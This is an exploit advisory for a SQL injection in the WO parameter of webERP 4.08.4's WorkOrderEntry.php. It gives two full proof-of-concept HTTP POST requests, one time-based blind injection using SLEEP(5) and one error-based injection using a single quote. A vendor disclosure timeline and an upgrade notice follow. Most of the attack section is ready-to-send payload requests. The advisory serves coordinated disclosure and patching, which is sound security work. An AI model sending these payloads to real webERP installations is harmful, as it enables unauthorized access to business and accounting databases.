# Exploit Title: webERP <=4.08.4 WorkOrderEntry.php SQL Injection Vulnerability# Date: 14/09/2012# Exploit Author: modpr0be (modpr0be[at]spentera.com)# Vendor Homepage: http://www.weberp.org# Software Link: http://sourceforge.net/projects/web-erp/files/# Version: 4.08.4# Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config)# CVE: -# Software Description# webERP is a mature open-source ERP system providing best practise, multi-user business # administration and accounting tools over the web.# Vulnerability Overview# webERP is vulnerable to SQL Injection vulnerability in the WorkOrderEntry.php within the WO parameter.# Due tue unvalidated input, when the single quote is inserted the web application throw a database error# message that indicated a SQL Injection is exist. # Another test was performed and indicated that the WO parameter is also vulnerable to time-based blind sql injection.# However, the attacker must be in authenticated session to exploit the vulnerability.# POC (authenticated session needed):# Time-based Blind SQL Injection
POST /weberp/WorkOrderEntry.php HTTP/1.1
Host:1.1.1.1
User-Agent: Mozilla/5.0(X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111
Content-Type: application/x-www-form-urlencoded
Content-Length:207
FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33' AND SLEEP(5) AND '1'='1&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode=# Error-based SQL Injection
POST /weberp/WorkOrderEntry.php HTTP/1.1
Host:1.1.1.1
User-Agent: Mozilla/5.0(X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111
Content-Type: application/x-www-form-urlencoded
Content-Length:207
FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33'&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode=# Solution# Upgrade to latest version here: http://sourceforge.net/projects/web-erp/# Vendor Contact Log08/29/2012- Bug found, submitted to Bug Report
08/29/2012- Vendor fix the bug,and request testing on patch version
09/03/2012- Confirm no vulnerablity found.09/11/2012- webERP 4.08.5 released.